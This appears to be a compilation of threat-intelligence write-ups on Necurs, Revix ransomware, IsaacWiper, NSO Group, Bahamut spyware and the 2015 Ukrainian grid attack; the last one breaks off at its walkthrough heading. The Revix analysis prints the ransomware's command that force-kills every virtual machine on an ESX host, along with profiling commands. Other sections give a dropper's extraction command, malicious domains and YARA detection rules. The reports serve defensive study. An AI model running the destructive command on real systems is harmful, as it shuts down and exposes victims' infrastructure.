| 4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d | SHA-256 | BPFDoor | malware |
## References
- https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896
- https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
- https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group
- https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group
## Artifacts
Artifacts are also available for download in both ECS and STIX format in a combined zip bundle. Download indicators.zip
**Last update:** May 24, 2022
**Created:** May 24, 2022 |
# Necurs Targeting Banks with PUB File that Drops FlawedAmmyy
Cofense Research reports that the Necurs botnet began a new campaign at approximately 7:30 EST on Aug 15, one appearing to be highly targeted at the banking industry. So far, Cofense has seen over 3,701 bank domains targeted as recipients. (Update: The campaign appeared to stop as of 15:37 EST. Number of banks targeted was updated on 8/16/18. We will update this blog post if the situation changes.)
Necurs is a rootkit first observed in 2012. It utilizes multiple Domain Generation Algorithms (DGA’s) coupled with .bit domain names as well as P2P communications to remain resilient against shutdown. Necurs became fairly famous when it began sending waves of Dridex and Locky a few years ago. We have noticed an uptick in campaigns originating from the Necurs botnet in recent weeks.
What stood out today is what changed. Necurs for months has been sending a seemingly never-ending stream of typical spam campaigns. Today at 7:30am EST we noticed a new file extension attached to its phishing campaigns: .PUB, which belongs to Microsoft Publisher. Like Word and Excel, Publisher has the ability to embed macros. So just when you are feeling confident about a layered defense protecting you from malicious Word docs, Necurs adapts and throws you a curveball.
The other eyebrow-raising moment is when it was observed that all of the recipients worked for banks. There were no free mail providers in this campaign, signaling clear intent by the attackers to infiltrate banks specifically.
The emails are fairly basic and appear to be coming from someone in India with the subject of “Request BOI” or “Payment Advice <random alpha numeric>”. The attached file has a Microsoft Publisher, .pub, extension with an embedded macro. When executed, the macro gets the URL in the UserForm1.Frame1.tag object which further downloads from a remote host.
## Actions taken upon execution of the downloaded file:
- Drop a file to `$cwd\smth.exe`
- Drop a copy of `7za.exe`
- Drop a password protected archive
- Unpack with this command: `7za.exe x archive.7z -pX9e5UD6AN1vQCK08DM4O -o"C:\Users\admin\AppData\Roaming\Microsoft\Windows" -aoa`
- Drops `archive.cab`, renames to `winksys.exe`
- Launch `winksys.exe`
In this same phishing campaign targeting banking employees, a smaller subset of the samples used weaponized PDF files. These PDF files are identical to ones used in a very recent campaign which leveraged .iqy files.
The final payload for this campaign is the FlawedAmmyy remote access trojan. FlawedAmmyy is based on the leaked source code for Ammyy Admin. This tool provides full remote control of the compromised host leading to file and credential theft as well as serving as a beachhead for any further lateral movement within the organization.
Again, as this campaign is evolving more than 2,700 bank domains have been target recipients. The banks range from small regional banks all the way up to the largest financial institutions in the world. We have not yet determined the actor(s) behind this specific campaign or the final goal. Cofense will continue to monitor the campaign for additional developments.
## IOC’s
- Subject: Request BOI
- Subject: Payment Advice DHS<9 digits>
## Filenames
- Payment_Advice_DHS<9 digits>.pub
## File MD5
- 5fdeaa5e62fabc9933352efe016f1565
## URL
- Hxxp://f79q[DOT]com/aa1
Current Cofense Triage™ and Cofense Intelligence™ customers: If your employees received and reported this phishing campaign, the bad news is it made it through your perimeter defense. The good news is Cofense Triage’s preloaded community generated and curated rules identified this as a high risk attachment. Specifically pm_office_with_macro, office_publisher_file, and Macro_AutoRun.
All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. |
# Revix Linux Ransomware
**Vishal Thakur**
In the first half of 2021, we started to see the REvil ransomware operators pivot to targeting Linux-based systems with a new Linux version of their ransomware, similar to the malware they commonly used on Windows systems. Since then, there have been a few versions of this Linux-based malware. In this post, we look at the latest version of their Linux-based ransomware "1.2a".
## Quick Snapshot:
- The malicious file is a Linux executable
- Class: ELF64
- Type: Dynamically Linked
- Machine: X86-64
- Number of section headers: 28
- Entry Point: 0x401650
- callq: __libc_start_main@plt
- MD5: c83df66c46bcbc05cd987661882ff061
### Yara Rules:
1. [Yara Rule 1](https://github.com/YaraExchange/yarasigs/blob/master/ransomware/crime_lin_revil.yar)
2. [Yara Rule 2](https://github.com/YaraExchange/yarasigs/blob/master/ransomware/crime_lin_revix.yar)
## Introduction
The execution of this malware is straightforward. It traverses through the directories specified as targets and encrypts the files present in those directories. Once encryption is complete, it drops a ransom note in the directory with the usual ransom message and instructions on paying the threat actor to get the decryption key. This variant of Revix requires a couple of parameters to be passed to execute successfully. It also requires escalated privileges to run and encrypt files on the disk successfully. Additionally, the malware checks the files in the target directories to see if they are already encrypted. One of the main targets for this malware is VMware ESX platform's, which we've seen before in a different Linux ransomware from DarkSide.
## Analysis
For this post, we analyzed Revix both statically and dynamically. Both methodologies have been used together throughout the analysis process presented below. Let’s take a quick look at a couple of sections of this executable so that we have the offsets to some of the initial calls that can be used for further analysis.
### Section .init:
This section holds executable instructions that need to be executed before the main program entry point.
### Section .text:
This section contains executable code.
## Functions
Revix loads several functions upon initialization. Following are some of the more interesting functions we can extract useful information from, to understand the flow of execution, along with developing threat detections that we've provided at the end of this post. We execute the malware while attached to a debugger and break at the main function to view these functions presented below. Once we hit the main function, we follow the jump to 'puts' function to look at the CPU at that location. We can see all the loaded functions at this point.
## Initialization
The malware requires to be run with a couple of command-line arguments. We can see these being passed through the stack in the image below.
## Execution
When executed as a non-privileged user, the malware is not able to achieve full execution. The malware has been provided with the directory 'here/' for this analysis. The malware tries to access the data in this directory for read/write and is unsuccessful. The malware also tries to encrypt a test file that we used in our analysis, but the encryption process fails as that action requires higher privileges. As a result, the execution fails to achieve the desired outcome for the malware.
Another point of interest from this failed execution is that the malware attempted to execute an esxcli command but this action fails as there is no esxcli on our test machine. When we execute Revix with elevated privileges, we start to see more successful activity from the malware. Firstly, Revix can access the data in the target directory. We can see in the image above, the system call ‘getdents’. This system call returns directory entries for the directory it’s run against. In this case, there are three entries as we can see from the result shown in the image above. Next, we can see that Revix is able to perform read/write functions on the data in the target directories, resulting in successful encryption of files. The Revix output below shows that it can write the ransom note text file to the victim's disk. Finally, we can see that the execution is completed successfully, resulting in the data present in the target directory being encrypted. The file we provided in the target directory is now encrypted, and a ransom note is created in the same directory. The malware also checks if the data in the target directory is already encrypted. To demonstrate this, we ran Revix against the same target directory one more time. Upon execution, Revix runs a check on the data present in the target directory and identifies it to be already encrypted. As a result, the execution ends up with no data being encrypted.
## VMware ESX Targeting
Revix also tries to use esxcli, the command line interface for VMware’s ESX platform. Let's take a quick look at the parameters passed to esxcli by Revix when it executes:
```
esxcli --formatter=csv --format-param=fields=="WorldID,DisplayName" vm process list | awk -F "\"*,\"*" '{system("esxcli vm process kill --type=force --world-id=" $1)}'
```
- `vm process list`: List the virtual machines on this system. This command currently will only list running VMs on the system.
- `vm process kill`: Used to forcibly kill Virtual Machines that are stuck and not responding to normal stop operations.
- `--type`: There are three types of VM kills that can be attempted: [soft, hard, force].
- `--world-id | -w`: The World ID of the Virtual Machine to kill. This can be obtained from the 'vm process list' command (required).
Essentially, these ESX command-line arguments are shutting down all virtual machines running on the ESX platform. Revix attempts to target the '/vmfs' directory and encrypt all the data present in that directory, so all the virtual machines are rendered inoperable until the data is decrypted. This targeting is similar to that seen in DarkSide's Linux variant.
## Command-line Arguments
The malware requires the following parameters to be passed for its execution to begin:
```
elf.exe --path /vmfs/ --threads 5
```
It also allows the `--silent` option that executes the malware without stopping any VMs.
### Parameter Purpose
- `--path`: Specifies the path of the data that needs to be encrypted
- `--threads`: Specifies the number of threads, by default the malware uses 50 threads
- `--silent`: Executes the malware without stopping the VMs running on ESX
## Configuration
The configuration of Revix is similar to that of its Windows variant, only with fewer fields.
### Field Description
- `pk`: Public Key
- `pid`: ID
- `Sub`: Tag
- `Dbg`: Debug mode
- `nbody`: Base64-encoded body of the ransom-note
- `nname`: Filename of the ransom-note
- `rdmcnt`: Readme Count
- `ext`: File extension of the encrypted files
## Profiling
Revix also gathers information about the victim machine by running the "uname" command:
```
uname -a && echo " | " && hostname
```
The results of the above command appear in the stack and are then passed through the registers, creating a configuration with the victim information.
## Encryption
The malware uses Salsa20 encryption algorithm, just like its Windows variant, to encrypt the data.
## Mitigation
### Detections
Commands:
- Revix runs this command to determine machine info:
```
uname -a && echo " | " && hostname
```
- Revix tries to query this directory: `/dev/urandom`
- Revix runs the below command to stop VMs running on the ESX platform in order to encrypt the data on those VMs:
```
esxcli --formatter=csv --format-param=fields=="WorldID,DisplayName" vm process list | awk -F "\"*,\"*" '{system("esxcli vm process kill --type=force --world-id=" $1)}'
```
### Typos:
In some instances, typos that malware authors commit to the code are useful in detecting specific malware or similar code used in other malware families. Below are some of the typos we found in this variant of Revix:
- `--silent (-s) use for not stoping VMs mode`
- `semms to be protected by os but let's encrypt anyway…`
### YARA Ruleset 1
```yara
rule Revix {
meta:
description = "Detects REvil Linux - Revix 1.1 and 1.2"
author = "Josh Lemon"
date = "2021-11-04"
version = "1.0"
hash1 = "f864922f947a6bb7d894245b53795b54b9378c0f7633c521240488e86f60c2c5"
hash2 = "559e9c0a2ef6898fabaf0a5fb10ac4a0f8d721edde4758351910200fe16b5fa7"
hash3 = "ea1872b2835128e3cb49a0bc27e4727ca33c4e6eba1e80422db19b505f965bc4"
strings:
$s1 = "Usage example: elf.exe --path /vmfs/ --threads 5" fullword ascii
$s2 = "uname -a && echo \" | \" && hostname" fullword ascii
$s3 = "esxcli --formatter=csv --format-param=fields==\"WorldID,DisplayName\" vm process list" ascii
$s4 = "awk -F \"\\\"*,\\\"*\" '{system(\"esxcli" ascii
$s5 = "--silent (-s) use for not stoping VMs mode" fullword ascii
$s6 = "!!!BY DEFAULT THIS SOFTWARE USES 50 THREADS!!!" fullword ascii
$s7 = "%d:%d: Comment not allowed here" fullword ascii
$s8 = "Error decoding user_id %d " fullword ascii
$s9 = "Error read urandm line %d!" fullword ascii
$s10 = "%d:%d: Unexpected `%c` in comment opening sequence" fullword ascii
$s11 = "%d:%d: Unexpected EOF in block comment" fullword ascii
$s12 = "Using silent mode, if you on esxi - stop VMs manualy" fullword ascii
$s13 = "rand: try to read %hu but get %lu bytes" fullword ascii
$s14 = "Revix" fullword ascii
$s15 = "without --path encrypts current dir" fullword ascii
$e1 = "[%s] already encrypted" fullword ascii
$e2 = "File [%s] was encrypted" fullword ascii
$e3 = "File [%s] was NOT encrypted" fullword ascii
$e4 = "Encrypting [%s]" fullword ascii
condition:
uint16(0) == 0x457f and filesize
}
```
### YARA Ruleset 2
```yara
import "pe"
rule revixStatic {
strings:
$header = { 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 02 00 3e 00 01 00 00 00 50 16 40 00 00 00 00 00 }
$config = { 7B 22 76 65 72 22 3A ?? ?? 2C 22 70 69 64 22 3A 22 ?? ?? 22 2C 22 73 75 62 22 3A 22 ?? ?? 22 2C 22 70 6B 22 3A 22 ?? ?? 22 2C 22 75 69 64 22 3A 22 ?? ?? 22 2C 22 73 6B 22 3A 22 ?? ?? 22 2C 22 6F 73 22 3A 22 ?? ?? 22 2C 22 65 78 74 22 3A 22 ?? ?? 22 7D }
$uname = { 75 6E 61 6D 65 20 2D 61 20 26 26 20 65 63 68 6F }
condition:
all of them and filesize
}
rule revixCode {
strings:
$err1 = { 45 72 72 6F 72 20 6F 70 65 6E 20 75 72 61 6E 64 6D }
$err2 = { 45 72 72 6F 72 20 64 65 63 6F 64 69 6E 67 20 6D 61 73 74 65 72 5F 70 6B }
$err3 = { 66 61 74 61 6C 20 65 72 72 6F 72 2C 6D 61 73 74 65 72 5F 70 6B 20 73 69 7A 65 20 69 73 20 62 61 64 }
$err4 = { 45 72 72 6F 72 20 64 65 63 6F 64 69 6E 67 20 75 73 65 72 5F 69 64 }
$err5 = { 45 72 72 6F 72 20 64 65 63 6F 64 69 6E 67 20 6E 6F 74 65 5F 62 6F 64 79 }
$form1 = { 65 78 70 61 6E 64 20 33 32 2D 62 79 74 65 ?? ?? }
$form2 = { 65 78 70 61 6E 64 20 31 36 2D 62 79 74 65 ?? ?? }
$config = { 7B 22 76 65 72 22 3A ?? ?? 2C 22 70 69 64 22 3A 22 ?? ?? 22 2C 22 73 75 62 22 3A 22 ?? ?? 22 2C 22 70 6B 22 3A 22 ?? ?? 22 2C 22 75 69 64 22 3A 22 ?? ?? 22 2C 22 73 6B 22 3A 22 ?? ?? 22 2C 22 6F 73 22 3A 22 ?? ?? 22 2C 22 65 78 74 22 3A 22 ?? ?? 22 7D }
condition:
all of them and filesize
}
rule revixESX {
strings:
$cmd1 = { 65 73 78 63 6C 69 }
$cmd2 = { 2D 66 6F 72 6D 61 74 74 65 72 3D ?? ?? ?? }
$cmd3 = { 2D 2D 66 6F 72 6D 61 74 2D 70 61 72 61 6D }
$cmd4 = { 76 6D 20 70 72 6F 63 65 73 73 20 6C 69 73 74 }
$cmd5 = { 65 73 78 63 6C 69 20 76 6D 20 70 72 6F 63 65 73 73 20 6B 69 6C 6C }
$cmd6 = { 2D 2D 77 6F 72 6C 64 2D 69 64 3D 22 ?? ?? ?? }
$config = { 7B 22 76 65 72 22 3A ?? ?? 2C 22 70 69 64 22 3A 22 ?? ?? 22 2C 22 73 75 62 22 3A 22 ?? ?? 22 2C 22 70 6B 22 3A 22 ?? ?? 22 2C 22 75 69 64 22 3A 22 ?? ?? 22 2C 22 73 6B 22 3A 22 ?? ?? 22 2C 22 6F 73 22 3A 22 ?? ?? 22 2C 22 65 78 74 22 3A 22 ?? ?? 22 7D }
condition:
all of them and filesize
}
rule revixPE {
condition:
pe.entry_point == 0x401650
}
```
## Conclusion
As we can see in the analysis shown above, the execution of Revix is a bit clunky in this variant. It requires multiple conditions to be met before the ransomware is successful in encrypting data. Revix needs to be executed as a command-line argument with elevated privileges, specified target directories, and the number of threads. Basically, it's not a standalone application at this time and is quite noisy as well. If Revix is not run with silent mode enabled, it will try to stop any VMware ESX virtual machines, triggering incident response processes from the victim. Revix could quite possibly fail to encrypt the virtual machines due to reduced/restricted access of where they reside on a Linux system. As new variants for the Revix ransomware are released, we expect the execution to be more efficient, requiring fewer manual processes from the threat actor. |
# IsaacWiper Followed HermeticWiper Attack on Ukraine
In the hours before Russia invaded Ukraine, a destructive malware campaign used HermeticWiper to attack several Ukrainian organizations. Just a day after the invasion began, another wiper, dubbed IsaacWiper by ESET, was pressed into service against a Ukraine government network. The attackers were not finished; perhaps because they could not wipe some of the targeted machines, a WeLiveSecurity blog reported they dropped another version of IsaacWiper that included debug logs.
“With regard to IsaacWiper, we are currently assessing its links, if any, with HermeticWiper,” said ESET head of threat research Jean-Ian Boutin. “It is important to note that it was seen in a Ukrainian governmental organization that was not affected by HermeticWiper.”
The initial wiper attack leveraged HermeticWiper to wipe data, HermeticWizard to spread through the local network, and HermeticRansom as decoy ransomware. The malware artifacts examined seemed to suggest the attacks, which the researchers have not been able to attribute to a particular actor, likely had been planned for several months. “This is based on several facts: The HermeticWiper PE compilation timestamps, the oldest being December 28, 2021; the code-signing certificate issue date of April 13, 2021; and the deployment of HermeticWiper through the default domain policy in at least one instance, suggesting the attackers had prior access to one of that victim’s Active Directory servers,” Boutin said.
The HermeticWiper overwrites its own file with random bytes to wipe itself from disk in what researchers feel is an attempt to prevent the wiper from being analyzed. The wiper is spread via a custom worm that ESET calls HermeticWizard.
Organizations can expect even more attacks and with greater frequency. “Information warfare, which we refer to as cyberwarfare, is a major component of the Russian doctrine. This explains why, whenever there is a conflict related to Russia, you should expect to see force being applied on the cyber domain as well to create disorientation, lack of trust, and fear,” said Mitiga co-founder and CEO Ariel Parnes, former head of the Cyber Department for the Israeli Intelligence Service. “Russia has significant offensive cybersecurity capabilities, including institutional and criminal elements.”
While “the increase in operations will result in smaller-scale impacts as targeting is rushed … for those affected, it won’t be smaller,” said Parnes. “Companies should therefore be ready to increase their ability to detect, patch, and remediate against an increase in zero-day vulnerabilities.”
But deploying new defensive cybersecurity capabilities may not be enough to quickly or fully protect organizations. “There is only so much you can do now to prevent a cyberattack in the immediate future, particularly if you are targeted by Russia or a state-sponsored attacker,” said Parnes. “There is a good chance that your organization was already attacked, and they have a backdoor to your network.”
Under Russia’s doctrine, it has already “conducted cyber operations for quite a while, silently preparing the access needed so they can choose which one to activate and when, by deleting or encrypting data, conducting a distributed denial-of-service attack, or carrying out another attack that will impact business operations,” said Parnes.
Organizations should strive to bolster resilience. “Increasingly, geopolitical events have global impact, highlighting the importance of focusing on resilience so that organizations are ready, prepared to recover rapidly and resilient if they get caught up in a wave of state-sponsored cyberattacks,” said Parnes. |
# Amazon Shuts Down NSO Group Infrastructure
Amazon Web Services (AWS) has shut down infrastructure and accounts linked to Israeli surveillance vendor NSO Group, Amazon said in a statement. The move comes as a group of media outlets and activist organizations published new research into NSO's malware and phone numbers potentially selected for targeting by NSO's government clients.
"When we learned of this activity, we acted quickly to shut down the relevant infrastructure and accounts," an AWS spokesperson told Motherboard in an email.
Amnesty International published a forensic investigation that determined NSO customers have had access to zero-day attacks in Apple's iMessage as recently as this year. As part of that research, Amnesty wrote that a phone infected with NSO's Pegasus malware sent information "to a service fronted by Amazon CloudFront, suggesting NSO Group has switched to using AWS services in recent months." The Amnesty report included part of the same statement from Amazon, showing Amnesty contacted the company before publication.
Citizen Lab, in a peer review of Amnesty's findings, said in its own post that the group "independently observed NSO Group begin to make extensive use of Amazon services including CloudFront in 2021."
CloudFront is a content delivery network (CDN) that allows customers, in this case NSO, to more quickly and reliably deliver content to users. "Amazon CloudFront is a fast content delivery network (CDN) service that securely delivers data, videos, applications, and APIs to customers globally with low latency, high transfer speeds, all within a developer-friendly environment," CloudFront's website reads.
CloudFront infrastructure was used in deployments of NSO's malware against targets, including on the phone of a French human rights lawyer, according to Amnesty's report. The move to CloudFront also protects NSO somewhat from researchers or other third parties trying to unearth the company's infrastructure. "The use of cloud services protects NSO Group from some Internet scanning techniques," Amnesty's report added.
Amazon has previously remained silent on NSO using its infrastructure. In May 2020 when Motherboard uncovered evidence that NSO had used Amazon infrastructure to deliver malware, Amazon did not respond to a request for comment asking if NSO had violated Amazon's terms of service. The Amnesty report said NSO is also using services from other companies such as Digital Ocean, OVH, and Linode.
On Sunday, journalistic organization Forbidden Stories and its media partners published a series of stories based in part on a leak of more than 50,000 phone numbers that were allegedly selected by NSO's clients for potential surveillance. In a statement to The Guardian, NSO said "NSO does not operate the systems that it sells to vetted government customers, and does not have access to the data of its customers’ targets. NSO does not operate its technology, does not collect, nor possesses, nor has any access to any kind of data of its customers. Due to contractual and national security considerations, NSO cannot confirm or deny the identity of our government customers, as well as identity of customers of which we have shut down systems." |
# Bahamut Cybermercenary Group Targets Android Users with Fake VPN Apps
Malicious apps used in this active campaign exfiltrate contacts, SMS messages, recorded phone calls, and even chat messages from apps such as Signal, Viber, and Telegram.
ESET researchers have identified an active campaign targeting Android users, conducted by the Bahamut APT group. This campaign has been active since January 2022, and malicious apps are distributed through a fake SecureVPN website that provides only Android apps to download. Note that although the malware employed throughout this campaign uses the name SecureVPN, it has no association whatsoever with the legitimate, multiplatform SecureVPN software and service.
## Key Points
- The app used has at different times been a trojanized version of one of two legitimate VPN apps, SoftVPN or OpenVPN, which have been repackaged with Bahamut spyware code that the Bahamut group has used in the past.
- At least eight versions of these maliciously patched apps have been identified, with code changes and updates being made available through the distribution website, indicating that the campaign is well maintained.
- The main purpose of the app modifications is to extract sensitive user data and actively spy on victims’ messaging apps.
- Targets are carefully chosen, as once the Bahamut spyware is launched, it requests an activation key before the VPN and spyware functionality can be enabled. Both the activation key and website link are likely sent to targeted users.
- The initial distribution vector (email, social media, messaging apps, SMS, etc.) remains unknown.
ESET researchers discovered at least eight versions of the Bahamut spyware. The malware is distributed through a fake SecureVPN website as trojanized versions of two legitimate apps – SoftVPN and OpenVPN. These malicious apps were never available for download from Google Play.
The malware is able to exfiltrate sensitive data such as contacts, SMS messages, call logs, device location, and recorded phone calls. It can also actively spy on chat messages exchanged through popular messaging apps including Signal, Viber, WhatsApp, Telegram, and Facebook Messenger; the data exfiltration is done via the keylogging functionality of the malware, which misuses accessibility services. The campaign appears to be highly targeted, as no instances have been seen in telemetry data.
## Bahamut Overview
The Bahamut APT group typically targets entities and individuals in the Middle East and South Asia with spearphishing messages and fake applications as the initial attack vector. Bahamut specializes in cyberespionage, aiming to steal sensitive information from its victims. The group is also referred to as a mercenary group offering hack-for-hire services to a wide range of clients. The name was given to this threat actor by the Bellingcat investigative journalism group, named after the enormous fish floating in the vast Arabian Sea mentioned in the Book of Imaginary Beings by Jorge Luis Borges.
The group has been the subject of several publications in recent years, including:
- 2017 – Bellingcat
- 2018 – Talos
- 2018 – Trend Micro
- 2020 – BlackBerry
- 2020 – SonicWall
- 2021 – 打假的Hunter
- 2021 – Cyble
- 2022 – CoreSec360
- 2022 – Cyble
## Distribution
The initial fake SecureVPN app analyzed was uploaded to VirusTotal on 2022-03-17, from an IP address that geolocates to Singapore, along with a link to a fake website that triggered one of the YARA rules. The malicious Android application used in this campaign was delivered via the website thesecurevpn.com, which uses the name of the legitimate SecureVPN service.
This fake SecureVPN website was created based on a free web template, which was most likely used by the threat actor as inspiration, requiring only small changes to look trustworthy. The website thesecurevpn.com was registered on 2022-01-27; however, the time of initial distribution of the fake SecureVPN app is unknown. The malicious app is provided directly from the website and has never been available at the Google Play store.
## Attribution
Malicious code in the fake SecureVPN sample was seen in the SecureChat campaign documented by Cyble and CoreSec360. This code has only been used in campaigns conducted by Bahamut, with similarities including storing sensitive information in a local database before uploading it to the C&C server.
## Analysis
Since the distribution website has been online, there have been at least eight versions of the Bahamut spyware available for download. These versions were created by the threat actor, where the fake application name was followed by the version number. The versions include secureVPN_104.apk, SecureVPN_105.apk, SecureVPN_106.apk, SecureVPN_107.apk, SecureVPN_108.apk, SecureVPN_109.apk, SecureVPN_1010.apk, and secureVPN_1010b.apk.
The malicious code was placed into two different legitimate VPN apps. In the first branch, from version secureVPN_104 until secureVPN_108, malicious code was inserted into the legitimate SoftVPN application. In the second branch, from version secureVPN_109 until secureVPN_1010b, malicious code was inserted into the legitimate open-source application OpenVPN.
Malicious code packaged with the OpenVPN app was implemented a layer above the VPN code. This code implements spyware functionality that requests an activation key and checks the supplied key against the attacker’s C&C server. If the key is successfully entered, the server returns a token necessary for communication between the Bahamut spyware and its C&C server. If the key is not correct, neither Bahamut spyware nor VPN functionality will be enabled.
## Functionality
If the Bahamut spyware is enabled, it can be remotely controlled by Bahamut operators and can exfiltrate various sensitive device data such as:
- Contacts
- SMS messages
- Call logs
- A list of installed apps
- Device location
- Device accounts
- Device info (type of internet connection, IMEI, IP, SIM serial number)
- Recorded phone calls
- A list of files on external storage
By misusing accessibility services, the malware can steal notes from the SafeNotes application and actively spy on chat messages and information about calls from popular messaging apps.
All exfiltrated data is stored in a local database and then sent to the C&C server. The Bahamut spyware functionality includes the ability to update the app by receiving a link to a new version from the C&C server.
## Conclusion
The mobile campaign operated by the Bahamut APT group is still active, using the same method of distributing its Android spyware apps via websites that impersonate or masquerade as legitimate services. The spyware code and functionality are consistent with previous campaigns, including collecting data to be exfiltrated in a local database before sending it to the operators’ server.
This campaign has maintained a low profile, likely achieved through highly targeted distribution, where along with a link to the Bahamut spyware, the potential victim is supplied an activation key required to enable the malware’s spying functionality.
## IoCs
### Files
| SHA-1 | Package Name | ESET Detection Name | Description |
|-------|--------------|---------------------|-------------|
| 3144B187EDF4309263FF0BCFD02C6542704145B1 | com.openvpn.secure | Android/Spy.Bahamut.M | OpenVPN app repackaged with Bahamut spyware code. |
| 2FBDC11613A065AFBBF36A66E8F17C0D802F8347 | com.openvpn.secure | Android/Spy.Bahamut.M | OpenVPN app repackaged with Bahamut spyware code. |
| 2E40F7FD49FA8538879F90A85300247FBF2F8F67 | com.secure.vpn | Android/Spy.Bahamut.M | SoftVPN app repackaged with Bahamut spyware code. |
| 1A9371B8AEAD5BA7D309AEBE4BFFB86B23E38229 | com.secure.vpn | Android/Spy.Bahamut.M | SoftVPN app repackaged with Bahamut spyware code. |
| 976CC12B71805F4E8E49DCA232E95E00432C1778 | com.secure.vpn | Android/Spy.Bahamut.M | SoftVPN app repackaged with Bahamut spyware code. |
| B54FFF5A7F0A279040A4499D5AABCE41EA1840FB | com.secure.vpn | Android/Spy.Bahamut.M | SoftVPN app repackaged with Bahamut spyware code. |
| C74B006BADBB3844843609DD5811AB2CEF16D63B | com.secure.vpn | Android/Spy.Bahamut.M | SoftVPN app repackaged with Bahamut spyware code. |
| 4F05482E93825E6A40AF3DFE45F6226A044D8635 | com.openvpn.secure | Android/Spy.Bahamut.M | OpenVPN app repackaged with Bahamut spyware code. |
| 79BD0BDFDC3645531C6285C3EB7C24CD0D6B0FAF | com.openvpn.secure | Android/Spy.Bahamut.M | OpenVPN app repackaged with Bahamut spyware code. |
| 7C49C8A34D1D032606A5E9CDDEBB33AAC86CE4A6 | com.openvpn.secure | Android/Spy.Bahamut.M | OpenVPN app repackaged with Bahamut spyware code. |
### Network
| IP | Domain | First Seen | Details |
|----|--------|------------|---------|
| 104.21.10[.]79 | ft8hua063okwfdcu21pw[.]de | 2022-03-20 | C&C server |
| 172.67.185[.]54 | thesecurevpn[.]com | 2022-02-23 | Distribution website |
### MITRE ATT&CK Techniques
| Tactic | ID | Name | Description |
|--------|----|------|-------------|
| Persistence | T1398 | Boot or Logon Initialization Scripts | Bahamut spyware receives the BOOT_COMPLETED broadcast intent to activate at device startup. |
| Defense Evasion | T1627 | Execution Guardrails | Bahamut spyware won’t run unless a valid activation key is provided at app startup. |
| Discovery | T1420 | File and Directory Discovery | Bahamut spyware can list available files on external storage. |
| Discovery | T1418 | Software Discovery | Bahamut spyware can obtain a list of installed applications. |
| Discovery | T1426 | System Information Discovery | Bahamut spyware can extract information about the device including type of internet connection, IMEI, IP address, and SIM serial number. |
| Collection | T1417.001 | Input Capture: Keylogging | Bahamut spyware logs keystrokes in chat messages and call information from targeted apps. |
| Collection | T1430 | Location Tracking | Bahamut spyware tracks device location. |
| Collection | T1429 | Audio Capture | Bahamut spyware can record phone calls. |
| Collection | T1532 | Archive Collected Data | Bahamut spyware stores collected data in a database prior to exfiltration. |
| Collection | T1636.002 | Protected User Data: Call Logs | Bahamut spyware can extract call logs. |
| Collection | T1636.003 | Protected User Data: Contact List | Bahamut spyware can extract the contact list. |
| Collection | T1636.004 | Protected User Data: SMS Messages | Bahamut spyware can extract SMS messages. |
| Command and Control | T1437.001 | Application Layer Protocol: Web Protocols | Bahamut spyware uses HTTPS to communicate with its C&C server. |
| Exfiltration | T1646 | Exfiltration Over C2 Channel | Bahamut spyware exfiltrates stolen data over its C&C channel. | |
# A Comprehensive Review of the 2015 Attacks on Ukrainian Critical Infrastructure
## Executive Summary
On December 23, 2015, unknown cyber actors disrupted energy-grid operations for the first time ever, causing blackouts for over 225,000 customers in Ukraine. Among the most striking features of this attack were the complexity of organization and planning, the discipline in execution, and capability in many of the discrete tasks exhibited by the threat actors. Over the course of nearly a year prior to the attack, these unknown actors clandestinely established persistent access to multiple industrial networks, identified targets, and ultimately carried out a complex set of actions, which not only disrupted electricity distribution in Ukraine but also destroyed IT systems, flooded call centers, sowed confusion, and inhibited incident response. The attackers used a malware tool, BlackEnergy 3, designed to enable unauthorized network access, then used valid user credentials to move laterally across internal systems, and ultimately shut down electricity distribution using the utilities’ native control systems.
This report provides a highly accessible and factual account of the incident. By providing this comprehensive view of the events, this report offers operators, plant managers, chief information security officers, and key industrial security decision-makers a view of how an attack could be conducted against their networks and infrastructure, and—more importantly—some advice on how to mitigate attacks such as these in the future.
## Introduction
Shortly before sunset on December 23, 2015, hackers remotely logged into workstations at a power distribution company in western Ukraine, clicked through commands in the operators' control system interface, and opened breakers across the electrical grid one by one. Before they were finished, they struck two more energy distribution companies, in rapid succession, plunging thousands of businesses and households into the cold and growing darkness for the next six hours. These attacks were not isolated incidents but the culmination of a yearlong campaign against a wide range of Ukrainian critical infrastructure operations.
In addition to three energy distribution companies, Prykarpattyaoblenergo, Kyivoblenergo, and Chernivtsioblenergo, threat actors had also previously targeted several other critical infrastructure sectors, including government, broadcast media, railway, and mining operators. The attacks in Ukraine were a watershed moment for cybersecurity; for the first time, malicious cyber threat actors had successfully and publicly disrupted energy-grid operations, causing blackouts across multiple cities.
This report details the actions threat actors took in each step of the attack, including an analysis of associated malware and other identified indicators of compromise (IoC).
## A Regional Campaign
Our research and analysis of the December 2015 blackout showed that the attack against Ukraine’s electricity grid was not an isolated incident, but in fact a continuation of a theme of steady, deliberate attacks against Ukraine’s critical infrastructure. This long-running campaign likely reflects a significant, concerted effort by a single threat actor with a well-organized capability and interest in using cyberattacks to undermine Ukraine’s socio-political fabric.
Each of the attacks used a common set of tactics, techniques, and procedures (TTPs) that had been used in earlier incidents in the previous months. To put the December 2015 attack in context, our research uncovered an additional 10 related attacks, the last of which occurred in January 2016.
## BlackEnergy Malware
BlackEnergy is a remote-access trojan designed to provide unauthorized access to targeted networks via an HTTP connection with an external server. Its modular design allows it to accept additional plugins to carry out specific functions, such as stealing credentials or conducting network reconnaissance.
## Attribution
Though the Security Service of Ukraine (SBU) immediately implicated Russia in the attack, there is no smoking gun that irrefutably connects the December 2015 attacks in Ukraine to a specific threat actor. The limited technical attribution data, such as the attackers using a Russia-based Internet provider and launching the telephony denial-of-service (TDoS) flood traffic from inside Russia, point to Russian threat actors, though this evidence is not conclusive.
Several plausible theories have been proposed to explain the threat actor’s motivations for conducting the attacks, as well as its timing, target, and impact.
## Attack Walk Through
The attack walk through provided in this report is informed by analytical frameworks published by cybersecurity industry organizations, as well as proprietary methods for conducting open-source intelligence analysis and technical malware analysis.
### Steps 1-9
